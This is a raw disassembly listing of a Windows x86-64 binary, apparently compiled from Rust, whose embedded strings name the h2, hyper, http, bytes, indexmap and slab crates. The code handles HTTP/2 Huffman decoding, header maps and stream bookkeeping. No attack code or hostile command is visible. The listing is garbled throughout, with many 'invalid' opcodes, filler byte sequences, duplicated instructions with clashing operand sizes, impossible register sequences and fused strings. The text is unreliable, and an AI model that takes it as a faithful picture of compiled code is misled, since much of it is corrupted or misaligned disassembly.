lea rax, [rdx + 0x18]
mov r10, qword [rdx]
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
mov rcx, rsi
mov rdx, rax
call qword [r10]
mov al, 6
jmp 0x14001d7ee
movzx eax, word [rdx]
mov word [rsi], ax
mov al, 7
jmp 0x14001d7ee
movzx ebx, byte [rdx + 8]
xor edi, edi
lea rax, [rdx + 0x38]
mov r10, qword [rdx + 0x20]
mov r8, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov r9, qword [rdx + 0x30]
lea rcx, [rsi + 0x20]
mov r14, rdx
mov rdx, rax
call qword [r10]
movzx eax, byte [r14 + 0x40]
mov qword [rsi], rdi
mov byte [rsi + 8], bl
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rsi + 9], xmm0
mov rcx, qword [rsp + 0x3f]
mov qword [rsi + 0x18], rcx
mov byte [rsi + 0x40], al
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop rsi
ret
jne 0x14001d819
mov eax, dword [rdx + 1]
mov ecx, dword [rdx + 4]
mov dword [rsp + 0x2b], ecx
mov dword [rsp + 0x28], eax
mov rbx, qword [rdx + 8]
movzx edi, byte [rdx + 0x10]
jmp 0x14001d72d
mov r14, qword [rdx + 8]
mov rdi, qword [rdx + 0x10]
test rdi, rdi
je 0x14001d843
js 0x14001d85b
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x14001d860
mov rbx, rax
jmp 0x14001d848
mov ebx, 1
mov rcx, rbx
mov rdx, r14
mov r8, rdi
call fcn.140106250
jmp 0x14001d72d
call fcn.140010b00
mov ecx, 1
mov rdx, rdi
call fcn.140107fc0
int3
xor eax, eax
call fcn.1400e2a60
int3
add byte [rax], al
add al, ch
jnp 0x14001db07
invalid
add ch, cl
sub dword [rdi], ecx
or ecx, esp
int3
vpunpcklbw xmm25 {k1} {z}, xmm6, xmmword [r8]
mov r14d, r11d
and r14d, 0x7f
cmp r14, 0x7f
jne 0x14001dbf9
mov bl, 1
cmp rax, r12
jbe 0x14001dc0c
movzx esi, byte [r9 + r10 + 1]
adc dword [rcx], eax
lea r12, [r10 + 2]
mov qword [r8 + 8], r12
mov r14d, esi
and r14d, 0x7f
add r14, 0x7f
test sil, sil
js 0x14001de57
xor esi, esi
mov rdi, rax
sub rdi, r12
cmovae rsi, rdi
mov bl, 2
cmp r14, rsi
jbe 0x14001dc2d
mov byte [rcx + 1], bl
mov byte [rcx], 1
pop rcx
add esi, eax
add dword [rcx], eax
jmp case.0x140019144.462
add eax, 0x101c766
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsp, 0x128
pop rbx
pop rbp
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
mov rsi, r12
sub rsi, r10
sub esi, edx
sub esi, edx
test r11b, r11b
js 0x14001dc63
invalid
sub ecx, dword [rbp + 1]
hlt
add r12, r14
jb 0x14001e0c3
invalid
add al, 0
invalid
invalid
cmp r12, rax
ja 0x14001e0db
invalid
invalid
add byte [rbp - 0x77], cl
invalid
mov qword [r8 + 8], r12
mov qword [rcx + 8], 0
mov dword [rcx + 8], 0
mov dword [rcx + 8], 0
add byte [rax - 0x77], cl
jno 0x14001dc82
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r14
mov dword [rcx + 0x30], esi
mov byte [rcx], 0
jmp case.0x140019144.462
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], r15
mov esp, 0xc824
invalid
rol byte [rax], 0
add byte [rcx + rcx*4 - 0x44], cl
mov esp, 0xc824
mov esp, 0xc824
add byte [rbp + 1], cl
loope 0x14001dcc3
add r9, r12
mov qword [rsp + 0xd0], r12
and al, 0xd0
add byte [rax], al
invalid
mov dword [rsp + 0xd0], esp
and al, 0xd0
add byte [rax], al
add byte [rcx + rdi - 0x20], cl
cmp eax, esp
cmp rax, r12
cmp eax, esp
mov eax, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx + 0xf], cl
ror dword [r8 - 0x77], 0x84
invalid
test byte [rax + rbx*8], ah
add byte [rax], al
cmova rax, r9
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0xd8], eax
mov dword [rsp + 0xd8], eax
add byte [rbp + rcx*4 + 0x5a], cl
lea eax, [r14 + r14]
lea eax, [rsi + rsi]
lea r11, [rdx + 0x40]
lea eax, [r14 + r14]
lea eax, [rsi + rsi]
lea eax, [rsi + rsi]
mov r9, qword [rdx + 0x50]
push rax
sub r9, qword [rdx + 0x48]
cmp rax, r9
cmp eax, ecx
cmp eax, ecx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], r8
sub byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x38], ebx
jbe 0x14001dcda
mov rcx, r11
mov rdx, rax
call fcn.140012910
mov r11, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
invalid
test r14, r14
je 0x14001deeb
lea rax, [rdx + 0x50]
mov qword [rsp + 0x68], rax
xor esi, esi
lea r10, [0x140117ca0]
xor edi, edi
mov r13b, 6
jmp 0x14001dd32
mov r10, qword [r11]
mov byte [r10 + rax], bl
inc rax
mov qword [rsp + 0xa0], rax
cmp rax, r9
ja 0x14001e050
mov qword [rdx + 0x48], rax
lea r10, [0x140117ca0]
inc rsi
cmp r14, rsi
je 0x14001dedb
cmp rdi, 0x100
jae 0x14001e028
mov rax, qword [rsp + 0xd8]
movzx r15d, byte [rax + rsi]
shl rdi, 8
add rdi, r10
mov eax, r15d
and eax, 0xfffffff0
movzx r9d, byte [rax + rdi + 9]
mov bpl, 1
test r9b, 4
jne 0x14001dee6
add rdi, rax
mov rbx, qword [rdi]
test r9b, 2
je 0x14001ddd8
movzx edi, byte [rdi + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001ddb2
mov edx, 1
mov rcx, r11
call fcn.140012910
mov r11, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [r11]
mov byte [r10 + rax], dil
inc rax
mov qword [rsp + 0xa0], rax
cmp rax, r9
ja 0x14001e050
mov qword [rdx + 0x48], rax
lea r10, [0x140117ca0]
cmp rbx, 0x100
jae 0x14001e03c
shl rbx, 8
add rbx, r10
and r15d, 0xf
shl r15d, 4
movzx r12d, byte [r15 + rbx + 9]
test r12b, 4
jne 0x14001dee6
add rbx, r15
mov rdi, qword [rbx]
test r12b, 2
je 0x14001dd26
movzx ebx, byte [rbx + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
cmp r9, rax
jne 0x14001dd00
mov edx, 1
mov rcx, r11
call fcn.140012910
mov r11, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
jmp 0x14001dd00
cmp rax, r12
jbe 0x14001dc0c
movzx esi, byte [r9 + r10 + 2]
lea r12, [r10 + 3]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 7
add r14, rdi
test sil, sil
jns 0x14001dbf9
cmp rax, r12
jbe 0x14001dc0c
movzx esi, byte [r9 + r10 + 3]
lea r12, [r10 + 4]
mov qword [r8 + 8], r12
mov edi, esi
and edi, 0x7f
shl edi, 0xe
add r14, rdi
test sil, sil
jns 0x14001dbf9
cmp rax, r12
jbe 0x14001dc0c
movzx esi, byte [r9 + r10 + 4]
lea r12, [r10 + 5]
mov qword [r8 + 8], r12
test sil, sil
js 0x14001e021
and esi, 0x7f
shl esi, 0x15
add r14, rsi
jmp 0x14001dbf9
test r12b, 1
jne 0x14001deeb
test rdi, rdi
je 0x14001deeb
jmp 0x14001dfce
mov r8, qword [rdx + 0x48]
lea rcx, [rsp + 0xf0]
mov rdx, r11
call fcn.140012770
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
je 0x14001df2e
mov rax, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x108]
test sil, 1
jne 0x14001df49
lea r9, [0x14014ef30]
jmp 0x14001dfc2
mov bpl, 1
movzx r13d, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
jmp 0x14001dfce
shr rsi, 5
sub rdx, rsi
add rax, rsi
mov rcx, qword [rsp + 0x100]
add rcx, rsi
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rdx
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
call fcn.1400126a0
mov qword [rsp + 0xe0], rsi
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
sub rax, rsi
jb 0x14001e0f3
add rsi, qword [rsp + 0xa8]
mov r9, qword [rsp + 0xa0]
mov rdx, rsi
mov rsi, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
xor ebp, ebp
mov r11, qword [rsp + 0xd0]
add r11, r14
jb 0x14001e0c3
mov r10, qword [rsp + 0xc8]
cmp r11, qword [r10 + 8]
ja 0x14001e0db
mov qword [r8 + 8], r11
mov byte [rcx], bpl
mov byte [rcx + 1], r13b
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], rax
mov qword [rcx + 0x20], rsi
mov rax, qword [rsp + 0xc0]
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x30], r14
jmp case.0x140019144.462
mov bl, 0xb
jmp 0x14001dc0c
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
mov rcx, rdi
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackhuffmanmod.rs
mov edx, 0x100
mov rcx, rbx
call fcn.1401082d0
add byte [rax - 0x73], cl
test byte [rax + riz*4], ah
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x48
and al, 0x48
lea rax, [fcn.140012f00]
mov qword [rsp + 0x50], rax
invalid
and al, 0x50
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x58], rcx
push 0x244c8948
pop rax
mov qword [rsp + 0x60], rax
lea rax, [0x140141790]
lea eax, [0x140141790]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov dword [rsp + 0x78], 2
add byte [rax], al
mov qword [rsp + 0x90], 0
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
add byte [rax], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
and al, 0x88
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1236f7
div dword [rsi]
adc al, byte [rax]
lea rcx, [rsp + 0x70]
and al, 0x70
call fcn.140108280
invalid
lea rcx, str.overflowH
movlps qword [rax], xmm0
lea r8, [0x14014f068]
xchg edi, eax
movlps qword [rax], xmm0
mov edx, 8
call fcn.1401086b0
add byte [rax], al
add al, ch
invalid
invalid
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
movlps qword [rax], xmm0
lea r8, [0x14014f048]
pop rdi
movlps qword [rax], xmm0
mov edx, 0x36
call fcn.140108350
add byte [rax], al
add al, ch
pop rbp
movabs byte [0xe8248c8948000e], al
add byte [rax], al
invalid
mov qword [rsp + 0xe8], rcx
call 0x18801e0fc
lea eax, [rsp + 0xe0]
lea rax, [rsp + 0xe0]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x48
mov qword [rsp + 0x48], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0xe8]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
and al, 0x60
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
and al, 0x70
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov qword [rsp + 0x88], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x70]
call fcn.140108280
int3
add qword [rax], r13
mov rcx, qword [rsp + 0x60]
mov qword [r9 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r9 + rax + 0x40], xmm0
movups xmmword [r9 + rax + 0x50], xmm1
mov word [r9 + rax + 0x60], bp
lea rax, [rdx + 1]
mov qword [rsi + 0x28], rax
cmp r12, r15
jae 0x14001ed58
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi + 0x48]
mov word [rax + r12*4], dx
mov word [rax + r12*4 + 2], bp
insb byte [rdi], dx
movabs al, byte [0x25fe9f63102]
insb byte [rdi], dx
movabs al, byte [0x25fe9f63102]
cmp rbx, 0x200
setae dil
mov r14, qword [rsp + 0x28]
cmp qword [r14], 2
setne bl
mov rcx, qword [rsp + 0x30]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r8, qword [rsp + 0x38]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
adc byte [rdi], cl
sub dword [rsp + 0xb0], ecx
adc byte [rdi], cl
sub dword [rsp + 0xb0], ecx
movaps xmmword [rsp + 0xa0], xmm0
cmp rdx, 0x7fff
jbe 0x14001eb84
lea rcx, [rsp + 0xb8]
mov rax, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov r8, qword [rsp + 0xb0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x14001eb7c
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rax + 0x10]
mov sil, 2
jmp 0x14001ed33
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, qword [rsp + 0x90]
cmp rdx, qword [rcx]
jne 0x14001ebda
call fcn.14004fa70
mov rdx, qword [rsp + 0x68]
mov r9, qword [r14 + 0x20]
mov rsi, qword [r14 + 0x48]
mov r15, qword [r14 + 0x50]
and dil, bl
imul rax, rdx, 0x68
mov qword [r9 + rax], 0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movups xmmword [r9 + rax + 0x18], xmm0
movups xmmword [r9 + rax + 0x28], xmm1
mov rcx, qword [rsp + 0x60]
mov qword [r9 + rax + 0x38], rcx
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmm1, xmmword [rsp + 0xe0]
movups xmmword [r9 + rax + 0x40], xmm0
movups xmmword [r9 + rax + 0x50], xmm1
mov word [r9 + rax + 0x60], bp
lea rax, [rdx + 1]
mov qword [r14 + 0x28], rax
xor eax, eax
nop word cs:[rax + rax]
mov rcx, r12
mov r12d, 0
cmp rcx, r15
jae 0x14001ec40
movzx r9d, word [rsi + rcx*4]
cmp r9w, 0xffff
je 0x14001ec7a
inc rax
movzx r8d, word [rsi + rcx*4 + 2]
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r12, rcx
jmp 0x14001ec40
mov word [rsi + rcx*4], dx
mov word [rsi + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not dil
test dil, al
jne 0x14001eca1
cmp qword [r14], 0
jne 0x14001eca1
mov qword [r14], 1
xor esi, esi
jmp 0x14001ed33
mov eax, esi
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
mov rdx, r15
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdi
call fcn.1401082d0
mov ecx, 2
mov edx, 0x20
call fcn.140107fc0
mov ecx, 8
mov edx, 0x270
call fcn.140107fc0
int3
enter 0x1674, 0x49
mov eax, esi
sub r8, rdx
nop
mov dword [rcx], 0xffff
add rcx, 4
dec r8
jne 0x14001eed0
mov dword [rcx], 0xffff
mov rbx, qword [rdi + 0x48]
mov r14, qword [rdi + 0x50]
jmp 0x14001ef00
mov qword [rdi + 0x48], rax
mov qword [rdi + 0x50], rsi
lea ecx, [rsi - 1]
mov word [rdi + 0x58], cx
cmp r15, r14
ja 0x14001f0bb
lea rdx, [rbx + r15*4]
jne 0x14001efe9
test r15, r15
je 0x14001ef7e
mov r8, rbx
jmp 0x14001ef44
mov word [rax + r11*4], r9w
mov word [rax + r11*4 + 2], r10w
add r8, 4
cmp r8, rdx
je 0x14001ef7e
movzx r9d, word [r8]
cmp r9w, 0xffff
je 0x14001ef3b
movzx r10d, word [r8 + 2]
mov r11d, r10d
and r11d, ecx
movzx r15d, r11w
nop
mov r11, r15
mov r15d, 0
add byte [rax], al
add byte [rax], al
cmp r11, rsi
jae 0x14001ef60
cmp word [rax + r11*4], 0xffff
je 0x14001ef30
inc r11
mov r15, r11
jmp 0x14001ef60
mov rdx, rsi
shr rdx, 2
mov rax, qword [rdi + 0x18]
mov r15, qword [rdi + 0x28]
add rdx, r15
mov rcx, rsi
sub rcx, rdx
mov rdx, rax
sub rdx, r15
sub edx, edi
cmp rdx, rcx
jae 0x14001f089
add r15, rcx
jb 0x14001f0da
movabs rcx, 0x13b13b13b13b13c
xor edx, edx
cmp r15, rcx
setb dl
imul r8, r15, 0x68
shl edx, 3
test rax, rax
je 0x14001f05e
mov rcx, qword [rdi + 0x20]
imul rax, rax, 0x68
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x50], rax
mov eax, 8
add bl, ch
invalid
lea r8, [rbx + r14*4]
mov r9, rdx
jmp 0x14001f018
mov word [rax + r12*4], r10w
mov word [rax + r12*4 + 2], r11w
add r9, 4
cmp r9, r8
je 0x14001ef22
movzx r10d, word [r9]
cmp r10w, 0xffff
je 0x14001f00b
movzx r11d, word [r9 + 2]
mov ebp, r11d
and ebp, ecx
movzx r13d, bp
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r12, r13
mov r13d, 0
cmp r12, rsi
jae 0x14001f040
cmp word [rax + r12*4], 0xffff
je 0x14001f000
inc r12
mov r13, r12
jmp 0x14001f040
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x40]
call fcn.14004a610
cmp qword [rsp + 0x28], 0
jne 0x14001f0e1
mov rax, qword [rsp + 0x30]
mov qword [rdi + 0x20], rax
mov qword [rdi + 0x18], r15
test r14, r14
je 0x14001f0a0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0x8001
setae al
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
mov rdx, r14
call fcn.1401082c0
mov ecx, 2
mov rdx, rbx
call fcn.140107fc0
xor ecx, ecx
call fcn.140107fc0
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.140107fc0
int3
lea ecx, str.assertion_failed:_self.num_local_reset_streams___0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rsassertion_failed:_self.can_inc_num_recv_streams__
mov edx, 0x32
call fcn.140108350
int3
int3
add dword [rdi], ecx
test dword [rsi + 0x48000000], ebp
mov eax, dword [rcx + 0x30]
cmp dword [rax + 8], edi
jne 0x140020054
mov qword [rcx + 0x38], 0
mov r8, qword [rax]
add byte [rax - 0x75], cl
mov rdx, qword [rcx + 0x48]
add byte [rax - 0x75], cl
mov rdx, qword [rcx + 0x48]
mov r9, rdx
and r9, r8
shr r8, 0x39
movd xmm0, r8d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r10d, r10d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rax + r9]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop dword [rax]
test r11w, r11w
je 0x14001fdb1
tzcnt r8d, r11d
lea esi, [r11 - 1]
and esi, r11d
add r8, r9
and r8, rdx
shl r8, 3
mov r11, rax
sub r11, r8
cmp qword [r11 - 8], 0
mov r11d, esi
jne 0x14001fd80
jmp 0x14001fedf
pcmpeqb xmm2, xmm1
pmovmskb r8d, xmm2
test r8d, r8d
jne 0x140020054
add r9, r10
add r9, 0x10
add r10, 0x10
and r9, rdx
jmp 0x14001fd69
punpcklbw mm0, mm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r14d, r14d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [rdx + rbx]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r15d, xmm3
pmovmskb r15d, mm3
pmovmskb r15d, mm3
nop dword [rax]
test r15w, r15w
je 0x14001fe80
tzcnt eax, r15d
add rax, rbx
and rax, r8
lea r11, [rax*8]
mov rcx, rdx
sub rcx, r11
mov rcx, qword [rcx - 8]
cmp rsi, rcx
jbe 0x140020061
lea ebp, [r15 - 1]
and ebp, r15d
shl rcx, 4
mov r15d, ebp
cmp dword [r9 + rcx + 8], edi
jne 0x14001fe30
invalid
mov edi, 0x666630eb
nop word cs:[rax + rax]
jmp 0x14001fea3
pcmpeqb xmm2, xmm1
pmovmskb eax, xmm2
test eax, eax
jne 0x140020054
add rbx, r14
add rbx, 0x10
add r14, 0x10
and rbx, r8
jmp 0x14001fe1b
sar r11, 3
lea rcx, [r11 - 0x10]
and rcx, r8
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb ebx, xmm0
movdqu xmm0, xmmword [rdx + r11]
pcmpeqb xmm0, xmm1
pmovmskb edi, xmm0
test ebx, ebx
je 0x14001ff27
bsr bx, bx
xor ebx, 0xf
jmp 0x14001ff2b
sar r8, 3
lea r9, [r8 - 0x10]
and r9, rdx
movdqu xmm0, xmmword [rax + r9]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
psllw xmm0, 7
pmovmskb r10d, xmm0
movdqu xmm0, xmmword [rax + r8]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r10d, r10d
je 0x140020026
bsr r10w, r10w
xor r10d, 0xf
jmp 0x14002002b
mov bx, 0x10
neg rax
or edi, 0x10000
tzcnt edi, edi
add ebx, edi
mov dil, 0x80
cmp bx, 0xf
ja 0x14001ff4a
inc qword [r10 + 0x50]
mov dil, 0xff
mov byte [rdx + r11], dil
mov byte [rdx + rcx + 0x10], dil
dec qword [r10 + 0x58]
mov rcx, qword [rdx + rax*8 - 8]
cmp rsi, rcx
jbe 0x140020070
mov rax, rcx
shl rax, 4
dec rsi
mov r11, rsi
shl r11, 4
movups xmm0, xmmword [r9 + r11]
movups xmmword [r9 + rax], xmm0
mov qword [r10 + 0x38], rsi
cmp rsi, rcx
jbe 0x140020054
add r9, rax
mov rax, qword [r9]
mov r9, rax
shr r9, 0x39
movd xmm0, r9d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r9d, r9d
and rax, r8
movdqu xmm2, xmmword [rdx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r11d, xmm3
nop word cs:[rax + rax]
test r11w, r11w
je 0x140020001
tzcnt r10d, r11d
lea edi, [r11 - 1]
and edi, r11d
add r10, rax
and r10, r8
lea r11, [r10*8]
mov rbx, rdx
sub rbx, r11
mov r11d, edi
cmp qword [rbx - 8], rsi
jne 0x14001ffd0
jmp 0x14002001c
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
jne 0x14002007f
add rax, r9
add rax, 0x10
add r9, 0x10
jmp 0x14001ffb0
neg r10
mov qword [rdx + r10*8 - 8], rcx
jmp 0x140020054
mov r10w, 0x10
or edx, 0x10000
tzcnt edx, edx
add r10d, edx
mov dl, 0x80
cmp r10w, 0xf
ja 0x140020047
inc qword [rcx + 0x50]
mov dl, 0xff
mov byte [rax + r8], dl
mov byte [rax + r9 + 0x10], dl
dec qword [rcx + 0x58]
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov rdx, rsi
call fcn.1401082d0
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rdx, rsi
call fcn.1401080a0
lea rcx, str.index_not_found
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore.rs
mov edx, 0xf
call fcn.1401086b0
int3
invalid
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x278
mov rbx, qword [rcx]
mov r14d, dword [rcx + 8]
cmp qword [rbx + 0x10], r14
jbe 0x1400202ad
mov rsi, rcx
imul r12, r14, 0x130
mov r13, qword [rbx + 8]
mov rbp, qword [rbx + 0x20]
mov r15, qword [r13 + r12]
lea rdi, [r12 + r13]
add rdi, 8
lea rcx, [rsp + 0x150]
invalid
lea ecx, [rsp + 0x150]
mov r8d, 0x128
mov rdx, rdi
call fcn.140106250
mov qword [r13 + r12], 2
mov qword [r13 + r12 + 8], rbp
cmp r15, 2
je 0x140020297
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x150]
mov r8d, 0x128
call fcn.140106250
dec qword [rbx + 0x18]
mov qword [rbx + 0x20], r14
mov qword [rsp + 0x20], r15
mov eax, dword [rsp + 0x134]
cmp eax, dword [rsi + 0xc]
jne 0x1400202c5
movzx eax, byte [rsp + 0x70]
lea ecx, [rax - 6]
cmp cl, 6
jb 0x140020252
lea ecx, [rax - 3]
cmp cl, 2
ja 0x140020200
invalid
cmp cl, 1
jne 0x140020252
movzx eax, al
test eax, eax
je 0x140020252
cmp eax, 1
jne 0x14002022e
lea rcx, [rsp + 0x90]
mov rax, qword [rsp + 0x78]
js 0x140020262
mov edx, dword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
call qword [rax + 0x10]
jmp 0x140020252
mov rax, qword [rsp + 0x78]
shl rax, 1
test rax, rax
je 0x140020252
invalid
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
and dword [rdi], ecx
add byte [rax - 0x75], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
test rax, rax
je 0x14002026a
invalid
invalid
mov word [rax + rdi*4], fs
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14002026a
mov rcx, qword [rsp + 0xb8]
call qword [rax + 0x18]
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add byte [rax], al
mov rax, qword [rsp + 0xc8]
test rax, rax
je 0x140020282
add byte [rax - 0x7b], cl
sal byte [rbx + rcx + 0x48], 0x8b
mov word [rax + rdx*8], fs
add byte [rax], al
add bh, bh
push rax
sbb byte [rax + 0x78c48148], dl
add al, byte [rax]
add byte [rbx + 0x5d], bl
mov rcx, qword [rsp + 0xd0]
call qword [rax + 0x18]
nop
add rsp, 0x278
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rdx, [rsp + 0x150]
mov r8d, 0x128
mov rcx, rdi
call fcn.140106250
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
